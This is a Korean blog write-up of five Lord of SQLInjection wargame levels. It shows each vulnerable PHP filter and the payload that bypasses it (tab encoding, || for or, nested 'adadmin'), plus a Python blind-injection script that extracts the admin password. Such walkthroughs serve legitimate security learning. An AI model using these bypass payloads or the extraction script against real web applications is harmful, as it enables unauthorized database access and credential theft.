1. wolfman
코드를 보자.
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~");
$query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("wolfman");
highlight_file(__FILE__);
?>
이전 문제들과 다른 점은 공백을 필터링한다는 점이. 그럼 탭을 인코딩한 %09을 사용하여 id를 admin으로 줬더니
?pw='%09or%09id='admin'%09%23
해결했다.
2.darkelf
코드를 보자.
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("darkelf");
highlight_file(__FILE__);
?>
두 번째 preg_match함수를 보면 or 또는 and를 필터링하여 사용된다면 HeHe를 출력받는 것을 알 수 있다. 그렇다면 바로 전 문제에서 사용했었던 쿼리문을 or만 ||로 우회해주면 된다.
?pw='%09||%09id='admin'%09%23
해결했다.
3. orge
코드를 보자.
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");
highlight_file(__FILE__);
?>
orc문제에서 or과 and를 필터링함을 알 수 있다. 우선 길이를 알아보기위해 pw>5와 pw<10을 한 후 범위를 좁힌 뒤 ?pw=' ||length(pw) = 8 %23를 보냈을 때 Hello admin가 뜨는 것을 보아 pw의 길이는 8임을 알 수 있었다.
orc에서 사용했던 파이썬 스크립트에서 or -> ||로 and -> %26%26으로 바꿔서 실행했다.
import requests
length = 8
cookie = {'PHPSESSID':'8gbd72ismpp8q3jkjqni3tab3s'}
string = "1234567890abcdefghijklmnopqrstuvwxyz"
pw = ""
for i in range(1,length + 1):
for j in string:
host = f"https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
query = f"?pw='|| id='admin' %26%26 substr(pw,{i},1)='{j}' %23"
url = host + query
r = requests.get(url = url, cookies = cookie)
if "Hello admin" in r.text:
pw += j
print("password : " + pw)
?pw=7b751aec
password : 7b751aec를 얻어 위와 같이 보내보니?
해결했다.
4. troll
코드를 보자.
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match("/admin/", $_GET[id])) exit("HeHe");
$query = "select id from prob_troll where id='{$_GET[id]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("troll");
highlight_file(__FILE__);
?>
두 번째 pregmatch를 보면 admin을 필터링하여 admin이 입력되면 HeHe가 출력된다. preg_match함수 마지막에 i가 있다면 대소문자를 구별하지 않는다는 뜻임으로 Admin을 id로 줬더니
?id=Admin
해결됐다.
5. vampire
코드를 보자.
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
$_GET[id] = strtolower($_GET[id]);
$_GET[id] = str_replace("admin","",$_GET[id]);
$query = "select id from prob_vampire where id='{$_GET[id]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("vampire");
highlight_file(__FILE__);
?>
이번 문제는 preg_match로 대소문자를 구별하지 않고 필터링하지만 바로 다음줄에서 모두 소문자로 변경한다. 또한 다음 줄에서 admin이 입력되면 공백으로 바꿔준다. replace함수는 한 번만 필터링한다는 것을 알고있기에 너무 쉽게 해결할 수 있다. admin 중간에 admin을 한 번 더 넣어줘서 ad(공백)min으로 만들어주면 한 번 필터링 됐기 때문에 더이상 admin을 필터링 하지 않아서 id=admin으로 된다.
?id=adadminmin
해결했다.
'Webhacking-Write-Up > LOS' 카테고리의 다른 글
[LoS] assassin, succubus (0) | 2023.01.15 |
---|---|
[LoS] skeleton, golem, darkknight, bugbear, gaint (0) | 2023.01.15 |
[LoS] gremlin, cobolt, goblin, orc (0) | 2023.01.14 |